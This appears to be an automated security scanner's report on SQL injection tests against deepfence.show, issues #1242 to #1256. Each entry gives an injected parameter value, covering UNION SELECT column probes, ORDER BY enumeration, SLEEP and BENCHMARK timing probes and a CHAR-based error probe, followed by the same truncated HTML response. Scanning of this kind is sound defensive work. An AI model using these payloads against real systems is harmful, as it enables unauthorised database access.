<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1242
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 7506=9091 AND ('5913=
5913
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1243
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 1,2-
-
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1244
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1245
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1246
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1247
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 20--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89Issue Number #1248
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND false
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1249
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1250
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# '%20and%201=2%20--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1251
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+
CHAR(122)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (
5650=5650) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113
)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1252
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')
)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1253
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1254
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# sleep(5)#ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1255
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# pg_SLEEP(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1256Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
